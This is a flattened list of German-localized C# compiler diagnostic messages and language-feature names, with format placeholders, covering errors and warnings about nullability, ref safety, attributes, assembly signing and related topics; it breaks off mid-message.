Hauptversion[.Nebenversion[.Build[.Revision]]] + Die foreach-Anweisung kann für Variablen vom Typ "{0}" nicht verwendet werden, da sie mehrere Instanziierungen von "{1}" implementiert. Nehmen Sie eine Umwandlung in eine spezifische Schnittstelleninstanziierung vor. + XML-Kommentar besitzt ein param-Tag, es gibt jedoch keinen Parameter mit diesem Namen + Bezeichner erwartet. + Musterabgleich + Die Verwendung des Alias darf kein Verweistyp sein, der NULL-Werte zulässt. + Das CallerMemberNameAttribute hat keine Auswirkung; es wird von dem CallerFilePathAttribute überschrieben + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + Dateitypen + Ein Ausdrucksbaum darf keinen Basiszugriff enthalten. + Ein Parameter kann nur einen "{0}"-Modifizierer aufweisen. + Die Bezeichnung "{0}" ist im Bereich der goto-Anweisung nicht vorhanden. + Unsicherer Code wird nur angezeigt, wenn mit /unsafe kompiliert wird. + Ein Verweis, der von einem Aufruf von "{0}" zurückgegeben wird, kann nicht über die Grenzen "await" oder "yield" hinweg beibehalten werden. + "{0}": Virtuelle oder abstrakte Member können nicht privat sein. + Das CallerArgumentExpressionAttribute wird mit einem ungültigen Parameternamen angewendet. + Positionsfelder in Datensätzen + readonly-Member + Referenzierte Assembly hat andere Kultureinstellungen + Der erste "in" oder "ref readonly"-Parameter der Erweiterungsmethode "{0}" muss ein konkreter (nicht generischer) Werttyp sein. + Fehler beim Initialisieren des Generators "{0}". Dies trägt nicht zur Ausgabe bei, und es können Kompilierungsfehler auftreten. Ausnahme vom Typ "{1}" mit Meldung "{2}". +{3} + Ein Wert vom Typ "{0}" kann nicht als Standardparameter für den Parameter "{1}", der NULL-Werte zulässt, verwendet werden, weil "{0}" kein einfacher Typ ist. + Ein Wert vom Typ "{0}" kann nicht als Standardparameter verwendet werden, da keine Standardkonvertierungen in den Typ "{1}" vorhanden sind. + Die NULL-Zulässigkeit von Verweistypen im Parametertyp "{0}" stimmt nicht mit der abfangbaren Methode "{1}" überein. + "{0}" muss erforderlich sein, da das erforderliche Mitglied "{1}" überschrieben wird + "{0}" ist abstrakt, aber in der nicht abstrakten Klasse "{1}" enthalten. + Dynamisch + Mögliche Nullverweiszuweisung. + Ein Member des Parameters "{0}" kann nicht als Verweis zurückgegeben werden, da er auf die aktuelle Methode beschränkt ist. + Das Modul "{0}" in der Assembly "{1}" leitet den Typ "{2}" an mehrere Assemblys weiter: "{3}" und "{4}". + "disable" oder " restore" erwartet nach #pragma-Warnung + Der SecurityAction-Wert "{0}" ist ungültig für Sicherheitsattribute, die auf einen Typ oder eine Methode angewendet werden. + "{0}" ist "{1}", wird aber wie "{2}" verwendet. + Der Datensatzmember "{0}" muss "{1}" zurückgeben. + Präprozessordirektiven müssen das erste Zeichen in einer Zeile sein, das keine Leerstelle ist. + Feld + Array + using-Alias + Zifferntrennzeichen + Verwendung eines möglicherweise nicht zugewiesenen Felds '{0}'. Erwägen Sie eine Aktualisierung auf die Sprachversion '{1}', um das Feld automatisch als Standard zu verwenden. + Es ist unzulässig, den Nullable-Verweistyp "{0}?" in einem is-Ausdruck zu verwenden. Verwenden Sie stattdessen den zugrunde liegenden Typ "{0}". + Der Parameter "{0}" muss beim Beenden einen Wert ungleich NULL aufweisen. + Ereignis + Der "{0}"-Modifizierer ist für dieses Element nicht gültig. + Ausschussvariablen + In der Schlüsseldatei "{0}" fehlt der für die Signierung erforderliche private Schlüssel. + Bezeichnung + Ein __arglist-Ausdruck darf nur in einem call- oder new-Ausdruck enthalten sein. + Algorithmus "{0}" wird nicht unterstützt + Die Methode muss einen Rückgabetyp besitzen. + Typparameter + Enumerationen können keine expliziten parameterlosen Konstruktoren enthalten. + "{0}" ist mit dem Attribut "UnmanagedCallersOnly" versehen und kann nicht direkt aufgerufen werden. Rufen Sie einen Funktionszeiger auf diese Methode ab. + Beide partiellen Methodendeklarationen müssen identische Zugriffsmodifizierer aufweisen. + Für diese Deklaration ist kein gültiger Atttributspeicherort vorhanden + Kryptografischer Fehler bei der Hasherstellung. + Diese Methode kann nur zum Erstellen von Token verwendet werden. "{0}" ist kein Token. + Der Member "{0}" kann in diesem Attribut nicht verwendet werden. + "{0}" kann kein überladenes {1}-Element definieren, das sich nur in den Parametermodifizierern "{2}" und "{3}" unterscheidet. + Der Funktionszeiger "{0}" akzeptiert keine {1} Argumente. + Operator zum Unterdrücken von doppelten NULL-Werten ("!") + Die NULL-Zulässigkeit von Verweistypen im Typ entspricht nicht dem außer Kraft gesetzten Member. + Der Name "{0}" ist im aktuellen Kontext nicht vorhanden. (Möglicherweise fehlt ein Verweis auf Assembly "{1}".) + Das base-Schlüsselwort ist im aktuellen Kontext nicht verfügbar. + Die lokale Variable "{0}" kann erst verwendet werden, nachdem sie deklariert wurde. + asynchrone using-Anweisung + Die Literalzeichenfolge "]]>" ist in Inhaltselementen nicht zugelassen. + "{0}": Implementierung einer dynamischen Schnittstelle "{1}" nicht möglich. + Deklaration von Ausdrucksvariablen in Memberinitialisierern und Abfragen + Die Zielruntime unterstützt keine Verweisfelder. + Der Aufruf von "{0}" mit "{1}" kann aufgrund eines Unterschieds in bereichsbezogenen Modifizierern oder [UnscopedRef]-Attributen nicht abgefangen werden. + Partielle Methodendeklarationen von "{0}" weisen eine inkonsistente NULL-NULL-Zulässigkeit in den Einschränkungen für den Typparameter "{1}" auf. + Der Parameter ist für den angegebenen nicht verwalteten Typ nicht gültig. + /REFERENCEPATH-Option + Eine Ausdrucksbaumstruktur enthält möglicherweise keinen Verweis auf eine lokale Funktion. + Das Feld weist mehrere eindeutige konstante Werte auf. + {0} Version {1} + Copyright (C) Microsoft Corporation. Alle Rechte vorbehalten. + Das Sicherheitsattribut "{0}" ist für diesen Deklarationstyp nicht gültig. Sicherheitsattribute sind nur für Assembly-, Typ- und Methodendeklarationen gültig. + verwendet statische + Auf das während der aktuellen Debuggingsitzung hinzugefügte Element "{0}" kann nur aus der deklarierenden Assembly "{1}" heraus zugegriffen werden. + "#load" kann nicht nach dem ersten Token in der Datei verwendet werden. + Der Typname enthält nur ASCII-Zeichen in Kleinbuchstaben. Solche Namen können möglicherweise für die Sprache reserviert werden. + Ein Ausdrucksbaum darf keine Variablendeklaration mit einem out-Argument enthalten. + Ungültiger Typ für den {0}-Parameter im cref-Attribut des XML-Kommentars: "{1}" + Der Typ kann nicht als Typparameter im generischen Typ oder in der generischen Methode verwendet werden. Die NULL-Zulässigkeit des Typarguments entspricht nicht der class-Einschränkung. + Inkonsistenter Zugriff: Einschränkungstyp "{1}" ist weniger zugreifbar als "{0}". + "{0}" kann nicht gleichzeitig abstrakt und versiegelt sein. + Unerwartetes Zeichen "{0}". + "{0}" ist kein gültiges benanntes Attributargument. Benannte Attributargumente müssen entweder Felder sein, die nicht schreibgeschützt, statisch oder konstant sind, oder Eigenschaften mit Lese- und Schreibzugriff, die öffentlich und nicht statisch sind. + Unbekannte #pragma-Direktive. + Die Variable des statischen Typs "{0}" kann nicht deklariert werden. + Sie haben einen Verweis zu einer Assembly hinzugefügt mifhilte von /link (Einbetten der Interoptypen-Eigenschaft auf True festegelegt). Dadurch wird der Compiler angewiesen, die Interoptypeninformationen aus der Assembly einzubetten. Der Compiler kann jedoch keine Interoptypeninformationen aus der Assembly einbetten, da eine andere Assembly, auf die Sie verweisen, auch auf diese Assembly verweist mithilfe von /reference (Einbetten der Interoptypen-Eigenschaft auf False festegelegt.) + +Um Interoptypeninformationen für beide Assemblys einzubetten, verwenden Sie /link für die Verweise zu den einzelnen Assemblys (Einbetten der Interoptypen-Eigenschaft auf True festlegen). + +Um die Warnung zu beheben, können Sie stattdessen /reference verwenden (Einbetten der Interoptypen-Eigenschaft auf False festlegen). In diesem Fall stellt eine primäre Interop-Assembly (PIA) Interoptypeninformationen bereit. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp stimmt nicht mit der abfangbaren Methode "{0}" überein. + Eigenschaftszugriffsmethode für Ausdruckskörper + "{0}" definiert den Operator == oder !=, aber überschreibt Object.Equals(object o) nicht. + Falsche Anzahl von Typargumenten. + "{0}" implementiert das Muster "{1}" nicht. "{2}" weist die falsche Signatur auf. + Für asynchrones "foreach" muss der Rückgabetyp "{0}" von "{1}" über eine passende öffentliche MoveNextAsync-Methode und eine öffentliche Current-Eigenschaft verfügen. + Eine Namespacedeklaration darf keine Modifizierer oder Attribute aufweisen. + {0}: Das Instanzenfeld in Typen, die mit "StructLayout(LayoutKind.Explicit)" markiert sind, muss ein FieldOffset-Attribut aufweisen. + Eine Instanz des abstrakten Typs oder der abstrakten Schnittstelle "{0}" kann nicht erstellt werden. + Für die explizite Schnittstellenimplementierung eines Ereignisses muss die Syntax für Ereignisaccessoren verwendet werden. + Die Auswertung des Konstantenwerts für "{0}" bezieht eine zirkuläre Definition ein. + "{0}" ist kein gültiger Attributpfad für diese Deklaration. Gültige Attributpfade für diese Deklaration sind "{1}". Alle Attribute in diesem Block werden ignoriert. + Das Ergebnis eines stackalloc-Ausdrucks des Typs "{0}" in diesem Kontext kann außerhalb der enthaltenden Methode verfügbar gemacht werden. + "{0}" ist zwischen "{1}" und "{2}" mehrdeutig. Verwenden Sie entweder "@{0}", oder schließen Sie explizit das Suffix "Attribute" ein. + ; erwartet. + Ein dynamisch gebundener Aufruf verursacht möglicherweise einen Fehler zur Laufzeit, da mindestens eine anwendbare Überladung eine bedingte Methode ist. + Namespacekonflikte mit importiertem Typ + Eine partielle Methode darf nicht über mehrere implementierende Deklarationen verfügen. + "{0}" kann nicht als ref- oder out-Wert verwendet werden, weil es sich um ein {1}-Objekt handelt. + Von "{0}" wurde friend-Zugriff gewährt, aber der starke Name zum Signieren der Ausgabeassembly stimmt nicht mit dem der gewährenden Assembly überein. + Objekterstellung mit Zieltyp + Ein Konstruktor, der in einem Typ mit Parameterliste deklariert ist, muss über den Konstruktorinitialisierer „this“ verfügen. + Die Einschränkung kann nicht der dynamische Typ "{0}" sein. + Der {0}-Operator kann nicht auf einen Operanden vom Typ "{1}" angewendet werden. + Ein primärer Konstruktorparameter eines schreibgeschützten Typs kann nicht als beschreibbarer Verweis zurückgegeben werden. + "{0}": Ein Verweis auf ein flüchtiges Feld wird nicht als flüchtig behandelt. + Ein Ausdrucksbaum darf keinen dynamischen Vorgang enthalten. + Implizit typisierte lokale Variablen können nicht als "fixed" deklariert werden. + Der importierte Typ "{0}" ist ungültig. Er enthält eine Basistyp-Ringabhängigkeit. + Für den Quelltyp "{0}" wurden mehrere Implementierungen des Abfragemusters gefunden. Mehrdeutiger Aufruf von "{1}". + Der Befehlszeilenschalter '{0}' ist noch nicht implementiert und wurde ignoriert. + Die NULL-Zulässigkeit von Verweistypen im Typ entspricht nicht dem implementierten Member. + Die Methode, der Operator oder der Accessor "{0}" ist als extern markiert und enthält keine Attribute. Fügen Sie ein DllImport-Attribut hinzu, um die externe Implementierung anzugeben. + "{0}" ist kein gültiger Parametername von "{1}". + Inkonsistenter Zugriff: Parametertyp "{1}" ist weniger zugreifbar als Indexer "{0}". + Der vordefinierte Typ "{0}" wurde in mehreren referenzierten Assemblys deklariert: "{1}" und "{2}" + Ausdruckskörpereigenschaft + "RefKind.Out" ist keine gültige Verweisart für einen Rückgabetyp. + Alternative interpolierte ausführliche Zeichenfolgen + Namensshadowing in geschachtelten Funktionen + Das FieldOffset-Attribut ist für statische oder konstante Felder nicht zulässig. + Der lokale Verweis "{0}" kann nicht in einer anonymen Methode, einem Lambdaausdruck oder einem Abfrageausdruck verwendet werden. + Ein Parameter kann nicht als Verweis "{0}" zurückgegeben werden, weil er auf die aktuelle Methode beschränkt ist. + Der {0}-Operator ist bei Operanden vom Typ "{1}" und "{2}" mehrdeutig. + Der Rückgabetyp von "{0}" ist nicht CLS-kompatibel. + Ein Switch-Ausdrucksarm beginnt nicht mit einem 'case'-Schlüsselwort. + Das CallerArgumentExpressionAttribute kann nur auf Parameter mit Standardwerten angewendet werden. + Es wird davon ausgegangen, dass der Assemblyverweis mit der Identität übereinstimmt + "{0}" enthält keine Definition für "{1}", und es konnte keine {1}-Erweiterungsmethode gefunden werden, die ein erstes Argument vom Typ "{0}" akzeptiert (möglicherweise fehlt eine using-Direktive für "{2}"). + Verzögertes Signieren wurde angegeben und erfordert einen öffentlichen Schlüssel, es wurde aber kein öffentlicher Schlüssel angegeben. + Der Ausdruck führt immer zu System.NullReferenceException, da der Standardwert von "{0}" NULL ist. + Indexer müssen mindestens einen Parameter haben. + Die Verwendung von "{0}" zum Testen der Kompatibilität mit "{1}" entspricht grundsätzlich dem Testen der Kompatibilität mit "{2}" und ist für alle Nicht-NULL-Werte erfolgreich. + Der angegebene Aufruf wird mehrmals abgefangen. + Ganzzahlwert erwartet. + Das Argument kann aufgrund von Unterschieden bei der NULL-Zulässigkeit von Verweistypen nicht als Ausgabe für den Parameter verwendet werden. + Diese Sprachfunktion ("{0}") ist noch nicht implementiert. + Der Syntaxbaum sollte aus einer Übermittlung erstellt werden. + Voll qualifizierter Name ist zu lang für Debuginformationen + Der readonly-Modifizierer muss nach "ref" angegeben werden. + Für RuntimeMetadataVersion wurde kein Wert gefunden. Keine Assembly mit System.Object wurde gefunden, und es wurde auch kein Wert für RuntimeMetadataVersion mit Optionen angegeben. + Die Anmerkung für Nullable-Verweistypen darf nur in Code innerhalb eines #nullable-Anmerkungskontexts verwendet werden. Für automatisch generierten Code ist eine explizite #nullable-Anweisung in der Quelle erforderlich. + Schnittstelle markiert mit 'CoClassAttribute', nicht mit 'ComImportAttribute' + Parameterarray der Lambdafunktion + Zugeordnete Instanz wird nicht zusammen mit allen Ausnahmepfaden zugeordnet + '"in" erwartet. + In einer referenzierten Assembly '{0}' liegt ein Fehler vor. + Die NULL-Zulässigkeit des Typs des Parameters entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem überschriebenen Member. + Der Tupelelementname "{0}" ist an keiner Position zulässig. + Indizierung eines Arrays mit einem negativen Index (Arrayindizes starten immer mit Null). + Das CLSCompliant-Attribut hat keine Bedeutung, wenn es auf Rückgabetypen angewendet wird. Wenden Sie es stattdessen auf die Methode an. + "{0}", angegeben für die Main-Methode, muss ein nicht generischer Datensatz oder eine nicht generische Klasse, Struktur oder Schnittstelle sein. + Diese Kombination aus Argumenten führt möglicherweise dazu, dass vom Parameter referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Die beste überladene Add-Methode "{0}" für das Sammlungsinitialisiererelement ist veraltet. {1} + Die CLS-Kompatibilitätsüberprüfung wird nicht ausgeführt, da sie von außerhalb dieser Assembly nicht sichtbar ist + Partielle Deklarationen von "{0}" weisen inkonsistente Einschränkungen für den {1}-Typparameter auf. + "{0}", angegeben für die Main-Methode, konnte nicht gefunden werden. + Das Verwenden eines Felds einer "Marshal by Reference"-Klasse als ref- oder out-Wert bzw. das Annehmen seiner Adresse kann zu einer Laufzeitausnahme führen + and-Muster + Es wurde kein Argument angegeben, das dem erforderlichen Parameter "{0}" von "{1}" entspricht. + Der Name "{0}" stimmt nicht mit dem entsprechenden Deconstruct-Parameter "{1}" überein. + Der angegebene Quellcodetyp wird nicht unterstützt oder ist ungültig: "{0}". + Gibt mittels Verweis einen Member des Parameters zurück, der auf die aktuelle Methode beschränkt ist. + Es kann kein Standardwert für ein Parameterarray angegeben werden. + Die Zuweisung wurde für dieselbe Variable durchgeführt. + Ungültiger Name für ein Vorverarbeitungssymbol; "{0}" ist kein gültiger Bezeichner. + "{0}" kann nicht gleichzeitig "{1}" und "{2}" implementieren, da diese für einige Typparameterersetzungen zusammengeführt werden können. + Typ "{0}", der an Assembly "{1}" weitergeleitet wurde, steht in Konflikt mit Typ "{2}", der aus Modul "{3}" exportiert wurde. + Der Typ "{2}" muss ein Non-Nullable-Werttyp sein, wenn er als {1}-Parameter im generischen Typ oder in der generischen Methode "{0}" verwendet werden soll. + Statische Typen können nicht als Rückgabetypen verwendet werden + Methode weist als Einstiegspunkt die falsche Signatur auf + Doppelter {0}-Modifizierer + contravariant + Listenmuster dürfen nicht für einen Wert vom Typ „{0}“ verwendet werden. + {0} kann nicht in den Typ „{1}“ konvertiert werden, da der Rückgabetyp nicht mit dem Rückgabetyp des Delegaten übereinstimmt + Schlüsselwort, Bezeichner oder Zeichenfolge erwartet nach dem ausführlichen Spezifizierer: @ + Der Modifizierer "{0}" ist für dieses Element in C# {1} ungültig. Verwenden Sie Sprachversion {2} oder höher. + Der expliziten Schnittstellenimplementierung "{0}" fehlt der "{1}"-Accessor. + "{2}" muss ein nicht abstrakter Typ mit einem öffentlichen parameterlosen Konstruktor sein, um im generischen Typ oder in der generischen {0}-Methode als {1}-Parameter verwendet werden zu können. + "{0}": Der enthaltende Typ implementiert die "{1}"-Schnittstelle nicht. + '{0}: Referenzstrukturen können keine Schnittstellen implementieren. + Die methode '{0}' muss nicht generisch sein oder eine Stelligkeit aufweisen, die {1} '{2}' entspricht. + Es konnte keine Implementierung des Abfragemusters für den Quelltyp "{0}" gefunden werden. "{1}" wurde nicht gefunden. Fehlen möglicherweise erforderliche Assemblyverweise oder eine using-Anweisung für "System.Linq"? + Benutzerdefinierte Operatoren können nicht "void" zurückgeben. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht nicht dem implizit implementierten Member. + binäre Literale + Ein Array mit einer negativen Größe kann nicht erstellt werden. + Musterbasierte Entsorgung + statische Klassen + Einschränkungen für Außerkraftsetzung und explizite Schnittstellenimplementierungsmethoden + Die yield-Anweisung kann nicht in einer anonymen Methode oder einem Lambdaausdruck verwendet werden. + Der Typ "{0}" kann nicht eingebettet werden, da er ein generisches Argument besitzt. Legen Sie die Eigenschaft "Interoptypen einbetten" ggf. auf "False" fest. + Die Quelldatei hat das Limit von 16.707.565 Zeilen überschritten, die in der PDB dargestellt werden können. Die Debuginformationen sind falsch. + Referenzstrukturen + Indexoperator + "{0}" implementiert den Schnittstellenmember "{1}" nicht. "{2}" ist nicht öffentlich. + Das InterpolatedStringHandlerArgument hat bei Anwendung auf Lambdaparameter keine Auswirkungen und wird am Aufrufstandort ignoriert. + "{1}" definiert nicht den Typparameter "{0}" + Verwenden Sie "_" nicht für eine case-Konstante. + Der Empfängertyp "{0}" ist kein gültiger Datensatztyp und kein Strukturtyp. + Der TypeOf-Operator kann nicht für den dynamischen Typ verwendet werden. + Der Operand eines Inkrement- oder Dekrementoperators muss eine Variable, eine Eigenschaft oder ein Indexer sein. + Die Option "/embed" wird nur beim Ausgeben einer PDB unterstützt. + Der angegebene Ausdruck kann nicht in einer fixed-Anweisung verwendet werden. + "{0}" kann nicht gleichzeitig extern und abstrakt sein. + Ein Objekt oder Typ ist erforderlich, der in "{0}" konvertiert werden kann. + Es kann keine Instanz der statischen "{0}"-Klasse erstellt werden. + Verwendung des möglicherweise nicht zugewiesenen Felds "{0}". + Der Switch-Case kann nicht erreicht werden. Er wurde bereits von einem vorherigen Fall behandelt, oder es ist keine Übereinstimmung möglich. + "{0}" blendet den vererbten Member "{1}" aus. Verwenden Sie das new-Schlüsselwort, wenn das Ausblenden vorgesehen war. + Ungültiges Unicode-Zeichen. + Lambdaausdrücke, deren Rückgabe als Verweis erfolgt, können nicht in Ausdrucksbäume konvertiert werden. + Es kann keine Klasse bzw. kein Member definiert werden, die oder der Tupel verwendet, weil der für den Compiler erforderliche Typ "{0}" nicht gefunden wurde. Fehlt ggf. ein Verweis? + Fehler beim Signieren der Ausgabe mit einem öffentlichen Schlüssel aus der Datei "{0}": {1} + "{0}": Eine Einschränkungsklasse kann nicht gleichzeitig mit einer class- oder struct-Einschränkung angegeben werden. + Anonyme Methoden, Lambdaausdrücke, Abfrageausdrücke und lokale Funktionen innerhalb einer Struktur können nicht auf den primären Konstruktorparameter zugreifen, der auch innerhalb eines Instanzmembers verwendet wird. + Die NULL-Zulässigkeit von Verweistypen im Parametertyp stimmt nicht mit der abfangbaren Methode überein. + Eine "using static"-Anweisung kann nur auf Typen angewendet werden. "{0}" ist ein Namespace und kein Typ. Verwenden Sie stattdessen eine "using namespace"-Anweisung + Ein Lambdaausdruck kann nicht als Argument für einen dynamisch gebundenen Vorgang verwendet werden, ohne ihn zunächst in einen Delegat- oder Ausdrucksbaumtyp umzuwandeln. + By-value-Rückgaben können nur in Methoden verwendet werden, deren Rückgabe nach Wert erfolgt. + Ein Ergebnis eines stackalloc-Ausdrucks vom Typ "{0}" kann in diesem Kontext nicht verwendet werden, weil es dadurch möglicherweise außerhalb der enthaltenden Methode verfügbar gemacht wird. + Generische Attribute + Der Filterausdruck ist eine Konstante "true". Ziehen Sie in Betracht, den Filter zu entfernen. + Ein ungültiger Typ wurde als Argument für das TypeForwardedTo-Attribut angegeben. + Delegat mit "{0}" kann nicht erstellt werden, da er oder eine Methode, die er überschreibt, ein Conditional-Attribut enthält. + Die Verwendung des Standardliterals ist in diesem Kontext nicht gültig. + Unerwartetes Schlüsselwort "nicht überprüft" + Die erforderliche Mitgliederliste für '{0}' ist falsch formatiert und kann nicht interpretiert werden. + Der Typ "{0}" kann nicht implizit in "{1}" konvertiert werden. Es ist bereits eine explizite Konvertierung vorhanden (möglicherweise fehlt eine Umwandlung). + Eine Instanz des {0}-Analyzers kann nicht aus {1} erstellt werden: {2}. + Direktive wird verwendet, die zuvor in diesem Namespace angezeigt wurde + XML-Kommentar weist ein cref-Attribut auf, das nicht aufgelöst werden konnte. + Auf "System.Runtime.CompilerServices.TupleElementNamesAttribute" kann nicht explizit verwiesen werden. Verwenden Sie die Tupelsyntax zum Definieren von Tuplenamen. + Ungültige Zahl. + Delegat "{0}" nimmt keine {1} Argumente an. + "{0}" blendet den geerbten abstrakten Member "{1}" aus. + Doppelter "{0}"-Typparameter. + Die beste überladene Add-Methode für das Sammlungsinitialisiererelement ist veraltet. + Musterabgleich ReadOnly/Span<char> bei konstanter Zeichenfolge + Für "{0}" wurden verschiedene Prüfsummenwerte angegeben. + "{0}": Das Ereignis muss einen Delegattyp aufweisen. + Das auf den Parameter "{0}" angewendete EnumeratorCancellationAttribute hat keine Auswirkungen. Das Attribut ist nur für einen Parameter vom Typ "CancellationToken" in einer async-iterator-Methode gültig, die IAsyncEnumerable zurückgibt. + Ausdruck nach "yield return" erwartet. + Der Schalter "/sourcelink" wird nur beim Ausgeben von PDB unterstützt. + Die NULL-Zulässigkeit von Verweistypen im Wert entspricht nicht dem Zieltyp. + Die NULL-Zulässigkeit von Verweistypen im Typ des Parameters entspricht nicht dem implementierten Member. + Das erste Argument eines Sicherheitsattributs muss eine gültige SecurityAction sein. + "{0}": Externes Ereignis darf keinen Initialisierer aufweisen. + Verwenden Sie nicht "System.Runtime.CompilerServices.ScopedRefAttribute". Verwenden Sie stattdessen das Schlüsselwort "scoped". + Das kontextabhängige Schlüsselwort "var" darf nicht in der Deklaration einer Bereichsvariablen verwendet werden. + Ungültiger externer Alias für /reference. "{0}" ist kein gültiger Bezeichner. + Element blendet vererbtes Element aus; fehlendes Überschreibungsschlüsselwort + Das FieldOffset-Attribut kann nur für Member des mit "StructLayout(LayoutKind.Explicit)" markierten Typs festgelegt werden. + XML-Kommentar enthält ein doppeltes param-Tag + Varianzsicherheit für statische Schnittstellenmember + Typ + '{0}: Statische Typen können nicht als Typargumente verwendet werden. + Ein throw-Ausdruck ist in diesem Kontext unzulässig. + Der switch-Ausdruck verarbeitet einige Werte des zugehörigen Eingabetyps einschließlich eines unbenannten Enumerationswerts nicht (nicht umfassender Ausdruck). + Das auf Parameter "{0}" angewendete CallerLineNumberAttribute hat keine Auswirkung, da es auf einen Member in Kontexten angewendet wird, die keine optionalen Argumente zulassen. + Überladbarer binärer Operator erwartet. + Es wurde kein optimaler Typ für das implizit typisierte Array gefunden. + An dieser Stelle sind keine Leerzeichen zugelassen. + Der XML-Kommentar ist auf keinem gültigen Sprachelement abgelegt. + Mit "stackalloc" kann keine negative Größe verwendet werden. + Befehlszeilen-Syntaxfehler: In der Option "{1}" fehlt "{0}". + Zeiger und Puffer fester Größe können nur in einem unsicheren Kontext verwendet werden. + Die überladene Methode unterscheidet sich nur darin, dass nicht benannte Arraytypen nicht CLS-kompatibel sind + Zuweisen eines out-Parameters erforderlich, bevor die Steuerung die aktuelle Methode verlässt + Fehler beim Erstellen von Win32-Ressourcen: {0} + In Ausdrucksbäumen dürfen weder partielle Methoden mit nur einer definierenden Deklaration noch entfernte bedingte Methoden verwendet werden. + Der Tupelelementname "{0}" ist abgeleitet. Verwenden Sie Sprachversion {1} oder höher, um nach dem abgeleiteten Namen auf ein Element zuzugreifen. + Unbeabsichtigter Verweisvergleich. Wandeln Sie die rechte Seite in den Typ "{0}" um, um einen Wertvergleich durchzuführen. + XML-Kommentar enthält ein doppeltes typeparam-Tag + Verwendung der nicht zugewiesenen lokalen Variablen "{0}". + Typen und Aliase können nicht den Namen "file" haben. + Das CallerArgumentExpressionAttribute hat keine Auswirkungen. Es wird von dem CallerLineNumberAttribute überschrieben + Assembly "{0}" mit Identität "{1}" verwendet "{2}" mit einer höheren Version als die referenzierte Assembly "{3}" mit Identität "{4}". + Gibt einen Parameter als Verweis "{0}" über einen ref-Parameter zurück, dieser kann jedoch nur in einer return-Anweisung sicher zurückgegeben werden. + {1} "{0}" ist nicht generisch und kann daher nicht mit Typargumenten verwendet werden. + Strukturfeldinitialisierer + Der Assemblyname "{0}" ist reserviert und kann nicht als Verweis in einer interaktiven Sitzung verwendet werden. + „ref“, „in“ und „out“ können nicht in der Signatur einer Methode verwendet werden, die mit „UnmanagedCallersOnly“ attributiert ist. + Typ definiert Operator == oder Operator !=, überschreibt jedoch nicht Object.Equals(Objekt o) + Der Parameter „{0}“, der einen ref-ähnlichen Typ aufweist, kann nicht innerhalb einer anonymen Methode, eines Lambdaausdrucks, eines Abfrageausdrucks oder einer lokalen Funktion verwendet werden. + "{0}": Der Typ muss "{2}" sein, um mit dem überschriebenen Member "{1}" übereinzustimmen. + Bitweiser OR-Operator wird für einen signaturerweiterten Operanden verwendet. Es wird empfohlen, zuerst eine Umwandlung in einen kleineren unsignierten Typ durchzuführen. + Filterausdruck ist eine Konstante "false" + Sie können keine Puffer fester Größe verwenden, die in nicht festen Ausdrücken enthalten sind. Verwenden Sie die fixed-Anweisung. + Die Adresse des angegebenen Ausdrucks kann nicht übernommen werden. + Ein Ausdrucksbaum darf "{0}" nicht enthalten. + Es kann kein Standardparameterwert in Verbindung mit "DefaultParameterAttribute" oder "OptionalAttribute" angegeben werden. + Der Typ "{2}" kann nicht als Typparameter "{1}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Die NULL-Zulässigkeit des Typarguments "{2}" entspricht nicht der class-Einschränkung. + Für den Typ "{0}" mit {1} out-Parametern und einem void-Rückgabetyp wurde keine passende Dekonstruktionsinstanz oder Erweiterungsmethode gefunden. + "{0}" ist mehrfach explizit implementiert. + Die Erweiterungsmethode muss in einer nicht generischen statischen Klasse definiert werden. + Attribute parameter 'SizeConst' must be specified. + "{0}" hat den Typ "{1}". Ein Konstantenfeld mit einem anderen Referenztyp als "String" kann nur mit NULL initialisiert werden. + "{0}" ist kein gültiger Aufrufkonventionsspezifizierer für einen Funktionszeiger. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht dem implementierten Member "{0}". + Die new()-Einschränkung kann nicht mit der struct-Einschränkung verwendet werden. + __arglist ist in der Parameterliste von Async-Methoden nicht zulässig. + Kann nicht abgefangen werden: Die Kompilierung enthält keine Datei mit dem Pfad "{0}". + Der Operator "{0}" kann hier aufgrund der Rangfolge nicht verwendet werden. Verwenden Sie Klammern, um Eindeutigkeit zu erreichen. + Der Parameter muss beim Beenden einen Wert ungleich NULL aufweisen. + Verwenden Sie "System.Runtime.CompilerServices.ExtensionAttribute" nicht. Verwenden Sie stattdessen das Schlüsselwort "this". + erforderliche Mitglieder + add- oder remove-Accessor erwartet. + Ein Steuerelement kann den Text einer anonymen Methode oder eines Lambdaausdrucks nicht verlassen. + Veraltetes Element überschreibt nicht veraltetes Element + Das Übergeben von "{0}" ist nur gültig, wenn "{1}" den Wert "SignatureCallingConvention.Unmanaged" aufweist. + Die Klassentypeinschränkung "{0}" muss vor allen anderen Einschränkungen stehen. + Verwenden einer möglicherweise nicht zugewiesenen, automatisch implementierten Eigenschaft "{0}" + Die Analyzerassembly „{0}“ verweist auf Version „{1}“ des Compilers, die neuer ist als die aktuell ausgeführte Version „{2}“. + "{0}" muss mit der Rückgabe des außer Kraft gesetzten Members "{1}" als Verweis übereinstimmen. + Das CallerFilePathAttribute hat keine Auswirkungen; es wird von dem CallerLineNumberAttribute überschrieben + Erweiterungsmethodengruppen sind als Argument für 'nameof' nicht zulässig. + Eine by-value-Variable kann nicht mit einem Verweis initialisiert werden. + Der Text einer async-iterator-Methode muss eine yield-Anweisung enthalten. Erwägen Sie das Entfernen von "async" aus der Methodendeklaration oder das Hinzufügen einer yield-Anweisung. + "{0}" enthält keine Definition für "{1}", und es konnte keine zugängliche {1}-Erweiterungsmethode gefunden werden, die ein erstes Argument vom Typ "{0}" akzeptiert (möglicherweise fehlt eine using-Direktive oder ein Assemblyverweis). + {1} "{0}" kann nicht mit Typargumenten verwendet werden. + Der Ausdruck kann in diesem Kontext nicht verwendet werden, weil Variablen dadurch möglicherweise außerhalb ihrer Deklaration indirekt verfügbar gemacht werden. + Die Konvertierung eines Parameters eines Handlers einer interpolierten Zeichenfolgen erfolgt nach dem Handlerparameter + Eine partielle Methode darf nicht über mehrere definierende Deklarationen verfügen. + Das CallerArgumentExpressionAttribute, das auf den Parameter „{0}“ angewendet wird, hat keine Auswirkungen. Es wird mit einem ungültigen Parameternamen angewendet. + Der Assemblyverweis "{0}" ist ungültig und kann nicht aufgelöst werden. + Diese ref-Zuweisung weist einen Wert zu, der einen kleineren 